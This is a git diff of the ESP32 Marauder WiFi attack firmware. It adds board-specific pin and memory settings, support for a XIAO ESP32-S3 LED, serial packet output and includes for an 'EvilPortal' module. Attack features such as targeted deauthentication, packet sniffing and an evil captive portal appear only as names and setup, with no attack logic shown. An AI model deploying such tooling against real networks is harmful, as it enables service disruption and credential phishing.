#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#endif
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 128
#endif
#define CHAR_WIDTH 6
#define SCREEN_WIDTH TFT_WIDTH // Originally 240
#define SCREEN_HEIGHT TFT_HEIGHT // Originally 320
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_WIDTH
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX TFT_HEIGHT // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 10
#define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#endif
//// END DISPLAY DEFINITIONS
@@ -333,64 +578,77 @@
#define ICON_H 22
#define BUTTON_PADDING 10
#endif
#ifdef MARAUDER_M5STICKC
#define BANNER_TIME 50
#define COMMAND_PREFIX "!"
// Keypad start position, key sizes and spacing
#define KEY_X (TFT_WIDTH/2) // Centre of key
#define KEY_Y (TFT_HEIGHT/5)
#define KEY_W TFT_HEIGHT // Width and height
#define KEY_H (TFT_HEIGHT/17)
#define KEY_SPACING_X 0 // X and Y gap
#define KEY_SPACING_Y 1
#define KEY_TEXTSIZE 1 // Font size multiplier
#define ICON_W 22
#define ICON_H 22
#define BUTTON_PADDING 10
#endif
//// END MENU DEFINITIONS
//// SD DEFINITIONS
#ifdef MARAUDER_V4
#define SD_CS 12
#endif
#ifdef FLIPPER_ZERO_HAT
#ifdef MARAUDER_V6
#define SD_CS 12
#endif
#ifdef USE_FLIPPER_SD
#define WRITE_PACKETS_SERIAL
#endif
#ifdef MARAUDER_KIT
#define SD_CS 12
#endif
#elif defined(USE_SD)
#ifdef MARAUDER_MINI
#define SD_CS 4
#endif
#ifdef MARAUDER_V4
#define SD_CS 12
#endif
#ifdef MARAUDER_FLIPPER
#define SD_CS 10
#endif
#ifdef MARAUDER_V6
#define SD_CS 12
#endif
#ifdef ESP32_LDDB
#define SD_CS 4
#endif
#ifdef MARAUDER_KIT
#define SD_CS 12
#endif
#ifdef MARAUDER_MINI
#define SD_CS 4
#endif
#ifdef MARAUDER_M5STICKC
#define SD_CS 10
#endif
#ifdef MARAUDER_FLIPPER
#define SD_CS 10
#endif
#ifdef ESP32_LDDB
#define SD_CS 4
#endif
#ifdef MARAUDER_DEV_BOARD_PRO
#define SD_CS 4
#endif
#ifdef XIAO_ESP32_S3
#define SD_CS 3
#endif
#ifdef MARAUDER_DEV_BOARD_PRO
#define SD_CS 4
#endif
//// END SD DEFINITIONS
//// SCREEN STUFF
#ifdef MARAUDER_MINI
#define HAS_SCREEN
#define HAS_BT
#endif
#ifdef MARAUDER_V4
#define HAS_SCREEN
#define HAS_BT
#endif
#ifdef MARAUDER_V6
#define HAS_SCREEN
#define HAS_BT
#endif
#ifdef MARAUDER_KIT
#define HAS_SCREEN
#define HAS_BT
#endif
#ifdef GENERIC_ESP32
#define HAS_BT
#endif
#ifndef HAS_SCREEN
#define TFT_WHITE 0
#define TFT_CYAN 0
#define TFT_BLUE 0
@@ -410,17 +668,82 @@
#include <LinkedList.h>
#include "SPIFFS.h"
#include "Assets.h"
#endif
//// END SCREEN STUFF
//// NEOPIXEL STUFF
#if defined(ESP32_LDDB)
#define PIN 17
//// MEMORY LOWER LIMIT STUFF
// These values are in bytes
#ifdef MARAUDER_M5STICKC
#define MEM_LOWER_LIM 20000
#elif defined(MARAUDER_MINI)
#define MEM_LOWER_LIM 20000
#elif defined(MARAUDER_V4)
#define MEM_LOWER_LIM 20000
#elif defined(MARAUDER_V6)
#define MEM_LOWER_LIM 20000
#elif defined(MARAUDER_KIT)
#define MEM_LOWER_LIM 20000
#elif defined(GENERIC_ESP32)
#define MEM_LOWER_LIM 20000
#elif defined(MARAUDER_FLIPPER)
#define MEM_LOWER_LIM 20000
#elif defined(ESP32_LDDB)
#define MEM_LOWER_LIM 20000
#elif defined(MARAUDER_DEV_BOARD_PRO)
#define PIN 16
#else
#define PIN 25
#define MEM_LOWER_LIM 20000
#elif defined(XIAO_ESP32_S3)
#define MEM_LOWER_LIM 20000
#endif
//// END MEMORY LOWER LIMIT STUFF
#endif
//// NEOPIXEL STUFF
#ifdef HAS_NEOPIXEL_LED
#if defined(ESP32_LDDB)
#define PIN 17
#elif defined(MARAUDER_DEV_BOARD_PRO)
#define PIN 16
#else
#define PIN 25
#endif
#endif
//// END NEOPIXEL STUFF
//// BOARD PIN OVERRIDES
#ifdef XIAO_ESP32_S3
#ifdef USE_FLIPPER_SD
#define XIAO_RX1 1
#define XIAO_TX1 2
#endif
#endif
//// END BOARD PIN OVERRIDES
//// EVIL PORTAL STUFF
#ifdef MARAUDER_M5STICKC
#define MAX_HTML_SIZE 11400
#elif defined(MARAUDER_MINI)
#define MAX_HTML_SIZE 11400
#elif defined(MARAUDER_V4)
#define MAX_HTML_SIZE 11400
#elif defined(MARAUDER_V6)
#define MAX_HTML_SIZE 11400
#elif defined(MARAUDER_KIT)
#define MAX_HTML_SIZE 11400
#elif defined(GENERIC_ESP32)
#define MAX_HTML_SIZE 20000
#elif defined(MARAUDER_FLIPPER)
#define MAX_HTML_SIZE 20000
#elif defined(ESP32_LDDB)
#define MAX_HTML_SIZE 20000
#elif defined(MARAUDER_DEV_BOARD_PRO)
#define MAX_HTML_SIZE 20000
#elif defined(XIAO_ESP32_S3)
#define MAX_HTML_SIZE 20000
#else
#define MAX_HTML_SIZE 20000
#endif
//// END EVIL PORTAL STUFF
#endif

View File

@@ -13,6 +13,8 @@ https://www.online-utility.org/image/convert/to/XBM
#endif
#include <WiFi.h>
//#include "Web.h"
#include "EvilPortal.h"
#include <Wire.h>
#include "esp_wifi.h"
#include "esp_wifi_types.h"
@@ -24,54 +26,102 @@ https://www.online-utility.org/image/convert/to/XBM
#include "Assets.h"
#include "WiFiScan.h"
#include "SDInterface.h"
#include "Web.h"
#ifdef HAS_SD
#include "SDInterface.h"
#endif
#include "Buffer.h"
#include "BatteryInterface.h"
#include "TemperatureInterface.h"
#include "LedInterface.h"
#include "esp_interface.h"
#ifdef MARAUDER_FLIPPER
#include "flipperLED.h"
#elif defined(XIAO_ESP32_S3)
#include "xiaoLED.h"
#else
#include "LedInterface.h"
#endif
//#include "esp_interface.h"
#include "settings.h"
#include "CommandLine.h"
#include "lang_var.h"
#include "flipperLED.h"
#ifdef HAS_BATTERY
#include "BatteryInterface.h"
#endif
#ifdef HAS_TEMP_SENSOR
#include "TemperatureInterface.h"
#endif
#ifdef HAS_SCREEN
#include "Display.h"
#include "MenuFunctions.h"
#include "a32u4_interface.h"
//#include "a32u4_interface.h"
#endif
#ifdef MARAUDER_MINI
#ifdef HAS_BUTTONS
#include <SwitchLib.h>
SwitchLib u_btn = SwitchLib(U_BTN, 1000, true);
SwitchLib d_btn = SwitchLib(D_BTN, 1000, true);
SwitchLib l_btn = SwitchLib(L_BTN, 1000, true);
SwitchLib r_btn = SwitchLib(R_BTN, 1000, true);
SwitchLib c_btn = SwitchLib(C_BTN, 1000, true);
#if (U_BTN >= 0)
SwitchLib u_btn = SwitchLib(U_BTN, 1000, true);
#endif
#if (D_BTN >= 0)
SwitchLib d_btn = SwitchLib(D_BTN, 1000, true);
#endif
#if (L_BTN >= 0)
SwitchLib l_btn = SwitchLib(L_BTN, 1000, true);
#endif
#if (R_BTN >= 0)
SwitchLib r_btn = SwitchLib(R_BTN, 1000, true);
#endif
#if (C_BTN >= 0)
SwitchLib c_btn = SwitchLib(C_BTN, 1000, true);
#endif
#endif
WiFiScan wifi_scan_obj;
SDInterface sd_obj;
Web web_obj;
EvilPortal evil_portal_obj;
//Web web_obj;
Buffer buffer_obj;
BatteryInterface battery_obj;
TemperatureInterface temp_obj;
LedInterface led_obj;
EspInterface esp_obj;
//EspInterface esp_obj;
Settings settings_obj;
CommandLine cli_obj;
flipperLED flipper_led;
#ifdef HAS_BATTERY
BatteryInterface battery_obj;
#endif
#ifdef HAS_TEMP_SENSOR
TemperatureInterface temp_obj;
#endif
#ifdef HAS_SCREEN
Display display_obj;
MenuFunctions menu_function_obj;
A32u4Interface a32u4_obj;
//A32u4Interface a32u4_obj;
#endif
#ifdef HAS_SD
SDInterface sd_obj;
#endif
#ifdef MARAUDER_M5STICKC
AXP192 axp192_obj;
#endif
#ifdef MARAUDER_FLIPPER
flipperLED flipper_led;
#elif defined(XIAO_ESP32_S3)
xiaoLED xiao_led;
#else
LedInterface led_obj;
#endif
const String PROGMEM version_number = MARAUDER_VERSION;
Adafruit_NeoPixel strip = Adafruit_NeoPixel(Pixels, PIN, NEO_GRB + NEO_KHZ800);
#ifdef HAS_NEOPIXEL_LED
Adafruit_NeoPixel strip = Adafruit_NeoPixel(Pixels, PIN, NEO_GRB + NEO_KHZ800);
#endif
uint32_t currentTime = 0;
@@ -103,6 +153,10 @@ void backlightOff() {
void setup()
{
#ifdef MARAUDER_M5STICKC
axp192_obj.begin();
#endif
pinMode(FLASH_BUTTON, INPUT);
#ifdef HAS_SCREEN
@@ -119,18 +173,29 @@ void setup()
#ifdef HAS_SCREEN
digitalWrite(TFT_CS, HIGH);
#endif
pinMode(SD_CS, OUTPUT);
delay(10);
digitalWrite(SD_CS, HIGH);
#ifdef HAS_SD
pinMode(SD_CS, OUTPUT);
delay(10);
delay(10);
digitalWrite(SD_CS, HIGH);
delay(10);
#endif
Serial.begin(115200);
//Serial.begin(115200);
// Starts a second serial channel to stream the captured packets
#ifdef WRITE_PACKETS_SERIAL
#ifdef XIAO_ESP32_S3
Serial1.begin(115200, SERIAL_8N1, XIAO_RX1, XIAO_TX1);
#else
Serial1.begin(115200);
#endif
#endif
//Serial.println("\n\nHello, World!\n");
@@ -187,10 +252,6 @@ void setup()
settings_obj.begin();
#ifdef MARAUDER_FLIPPER
flipper_led.RunSetup();
#endif
//Serial.println("This is a test Channel: " + (String)settings_obj.loadSetting<uint8_t>("Channel"));
//if (settings_obj.loadSetting<bool>( "Force PMKID"))
// Serial.println("This is a test Force PMKID: true");
@@ -205,30 +266,36 @@ void setup()
display_obj.tft.println(F(text_table0[2]));
#endif
// Do some SD stuff
if(sd_obj.initSD()) {
//Serial.println(F("SD Card supported"));
#ifdef HAS_SCREEN
display_obj.tft.println(F(text_table0[3]));
#endif
}
else {
Serial.println(F("SD Card NOT Supported"));
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
display_obj.tft.println(F(text_table0[4]));
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
#endif
}
battery_obj.RunSetup();
#ifdef WRITE_PACKETS_SERIAL
buffer_obj = Buffer();
#elif defined(HAS_SD)
// Do some SD stuff
if(sd_obj.initSD()) {
#ifdef HAS_SCREEN
display_obj.tft.println(F(text_table0[3]));
#endif
} else {
Serial.println(F("SD Card NOT Supported"));
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
display_obj.tft.println(F(text_table0[4]));
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
#endif
}
#else
return;
#endif
#ifdef HAS_BATTERY
battery_obj.RunSetup();
#endif
#ifdef HAS_SCREEN
display_obj.tft.println(F(text_table0[5]));
#endif
// Temperature stuff
#ifndef MARAUDER_FLIPPER
#ifdef HAS_TEMP_SENSOR
temp_obj.RunSetup();
#endif
@@ -236,7 +303,7 @@ void setup()
display_obj.tft.println(F(text_table0[6]));
#endif
#ifndef MARAUDER_FLIPPER
#ifdef HAS_BATTERY
battery_obj.battery_level = battery_obj.getBatteryLevel();
// if (battery_obj.i2c_supported) {
@@ -247,7 +314,11 @@ void setup()
#endif
// Do some LED stuff
#ifndef MARAUDER_FLIPPER
#ifdef MARAUDER_FLIPPER
flipper_led.RunSetup();
#elif defined(XIAO_ESP32_S3)
xiao_led.RunSetup();
#else
led_obj.RunSetup();
#endif
@@ -275,7 +346,7 @@ void setup()
//Serial.println(F(" By: justcallmekoko\n"));
//Serial.println(F("--------------------------------\n\n"));
Serial.println("CLI Ready");
Serial.println(F("CLI Ready"));
cli_obj.RunSetup();
}
@@ -303,8 +374,17 @@ void loop()
display_obj.main(wifi_scan_obj.currentScanMode);
#endif
wifi_scan_obj.main(currentTime);
sd_obj.main();
#ifndef MARAUDER_FLIPPER
//evil_portal_obj.main(wifi_scan_obj.currentScanMode);
#ifdef WRITE_PACKETS_SERIAL
buffer_obj.forceSaveSerial();
#elif defined(HAS_SD)
sd_obj.main();
#else
return;
#endif
#ifdef HAS_BATTERY
battery_obj.main(currentTime);
temp_obj.main(currentTime);
#endif
@@ -314,13 +394,18 @@ void loop()
#ifdef HAS_SCREEN
menu_function_obj.main(currentTime);
#endif
#ifndef MARAUDER_FLIPPER
led_obj.main(currentTime);
#endif
//cli_obj.main(currentTime);
}
if (wifi_scan_obj.currentScanMode == OTA_UPDATE)
web_obj.main();
#ifdef MARAUDER_FLIPPER
flipper_led.main();
#elif defined(XIAO_ESP32_S3)
xiao_led.main();
#else
led_obj.main(currentTime);
#endif
//if (wifi_scan_obj.currentScanMode == OTA_UPDATE)
// web_obj.main();
#ifdef HAS_SCREEN
delay(1);
#else
@@ -339,9 +424,15 @@ void loop()
display_obj.main(wifi_scan_obj.currentScanMode);
menu_function_obj.main(currentTime);
#endif
#ifndef MARAUDER_FLIPPER
#ifdef MARAUDER_FLIPPER
flipper_led.main();
#elif defined(XIAO_ESP32_S3)
xiao_led.main();
#else
led_obj.main(currentTime);
#endif
//cli_obj.main(currentTime);
delay(1);
}

View File

@@ -55,3 +55,7 @@ void flipperLED::offLED() {
digitalWrite(G_PIN, HIGH);
digitalWrite(R_PIN, HIGH);
}
void flipperLED::main() {
// do nothing
}

View File

@@ -16,6 +16,7 @@ class flipperLED {
public:
void RunSetup();
void main();
void attackLED();
void sniffLED();
void offLED();

View File

@@ -177,12 +177,13 @@ PROGMEM const char text4_44[] = " AP Scan ";
PROGMEM const char text4_45[] = "Clearing Stations...";
PROGMEM const char text4_46[] = "Stations Cleared: ";
PROGMEM const char text4_47[] = "Targeted Deauth";
PROGMEM const char text4_48[] = "Using serial to transmit packets";
//Making tables
PROGMEM const char *text_table0[] = {text0_0,text0_1, text0_2, text0_3, text0_4, text0_5, text0_6, text0_7, text0_8};
PROGMEM const char *text_table1[] = {text1_0,text1_1,text1_2,text1_3,text1_4,text1_5,text1_6,text1_7,text1_8,text1_9,text1_10,text1_11,text1_12,text1_13,text1_14,text1_15,text1_16,text1_17,text1_18,text1_19,text1_20,text1_21,text1_22,text1_23,text1_24,text1_25,text1_26,text1_27,text1_28,text1_29,text1_30,text1_31,text1_32,text1_33,text1_34,text1_35,text1_36,text1_37,text1_38,text1_39,text1_40,text1_41,text1_42,text1_43,text1_44,text1_45,text1_46,text1_47,text1_48,text1_49,text1_50,text1_51,text1_52,text1_53,text1_54,text1_55,text1_56,text1_57,text1_58,text1_59,text1_60,text1_61,text1_62};
PROGMEM const char *text_table2[] = {text2_0,text2_1,text2_2,text2_3,text2_4,text2_5,text2_6,text2_7,text2_8,text2_9,text2_10,text2_11,text2_12,text2_13,text2_14};
PROGMEM const char *text_table3[] = {text3_0,text3_1,text3_2,text3_3,text3_4,text3_5};
PROGMEM const char *text_table4[] = {text4_0,text4_1,text4_2,text4_3,text4_4,text4_5,text4_6,text4_7,text1_54,text4_9,text4_10,text4_11,text4_12,text4_13,text4_14,text4_15,text4_16,text4_17,text4_18,text4_19,text4_20,text4_21,text4_22,text4_23,text4_24,text4_25,text4_26,text4_27,text4_28,text4_29,text4_30,text4_31,text4_32,text4_33,text4_34,text4_35,text4_36,text4_37,text4_38,text4_39,text4_40,text4_41,text4_42,text4_43,text4_44,text4_45,text4_46,text4_47};
PROGMEM const char *text_table4[] = {text4_0,text4_1,text4_2,text4_3,text4_4,text4_5,text4_6,text4_7,text1_54,text4_9,text4_10,text4_11,text4_12,text4_13,text4_14,text4_15,text4_16,text4_17,text4_18,text4_19,text4_20,text4_21,text4_22,text4_23,text4_24,text4_25,text4_26,text4_27,text4_28,text4_29,text4_30,text4_31,text4_32,text4_33,text4_34,text4_35,text4_36,text4_37,text4_38,text4_39,text4_40,text4_41,text4_42,text4_43,text4_44,text4_45,text4_46,text4_47, text4_48};
#endif

View File

@@ -0,0 +1,53 @@
#include "xiaoLED.h"
void xiaoLED::RunSetup() {
pinMode(XIAO_LED_PIN, OUTPUT);
if (!settings_obj.loadSetting<bool>("EnableLED")) {
digitalWrite(XIAO_LED_PIN, HIGH);
return;
}
delay(50);
digitalWrite(XIAO_LED_PIN, LOW);
delay(500);
digitalWrite(XIAO_LED_PIN, HIGH);
delay(250);
digitalWrite(XIAO_LED_PIN, LOW);
delay(500);
digitalWrite(XIAO_LED_PIN, HIGH);
delay(250);
digitalWrite(XIAO_LED_PIN, LOW);
delay(500);
digitalWrite(XIAO_LED_PIN, HIGH);
}
void xiaoLED::attackLED() {
if (!settings_obj.loadSetting<bool>("EnableLED"))
return;
digitalWrite(XIAO_LED_PIN, HIGH);
delay(300);
digitalWrite(XIAO_LED_PIN, LOW);
}
void xiaoLED::sniffLED() {
if (!settings_obj.loadSetting<bool>("EnableLED"))
return;
digitalWrite(XIAO_LED_PIN, HIGH);
delay(300);
digitalWrite(XIAO_LED_PIN, LOW);
}
void xiaoLED::offLED() {
if (!settings_obj.loadSetting<bool>("EnableLED"))
return;
digitalWrite(XIAO_LED_PIN, HIGH);
}
void xiaoLED::main() {
// do nothing
}

23
esp32_marauder/xiaoLED.h Normal file
View File

@@ -0,0 +1,23 @@
#ifndef xiaoLED_H
#define xiaoLED_H
#include "configs.h"
#include "settings.h"
#include <Arduino.h>
#define XIAO_LED_PIN 21
extern Settings settings_obj;
class xiaoLED {
public:
void RunSetup();
void main();
void attackLED();
void sniffLED();
void offLED();
};
#endif /* xiaoLED_H */

View File

@@ -1,37 +0,0 @@
// the setup function runs once when you press reset or power the board
void setup() {
Serial.begin(115200);
delay(100);
// initialize digital pin LED_BUILTIN as an output.
pinMode(LED_BUILTIN, OUTPUT);
digitalWrite(LED_BUILTIN, HIGH);
}
// the loop function runs over and over again forever
void loop() {
//digitalWrite(LED_BUILTIN, HIGH); // turn the LED on (HIGH is the voltage level)
//delay(1000); // wait for a second
//digitalWrite(LED_BUILTIN, LOW); // turn the LED off by making the voltage LOW
//delay(1000); // wait for a second
if (Serial.available()) {
String input = Serial.readString();
input.trim();
if (input == "PING") {
Serial.println("ESP8266 Pong");
digitalWrite(LED_BUILTIN, LOW);
delay(1);
digitalWrite(LED_BUILTIN, HIGH);
}
//Serial.println(input);
}
else
delay(1);
}

File diff suppressed because it is too large Load Diff

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.8 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.8 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.8 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.4 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.5 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB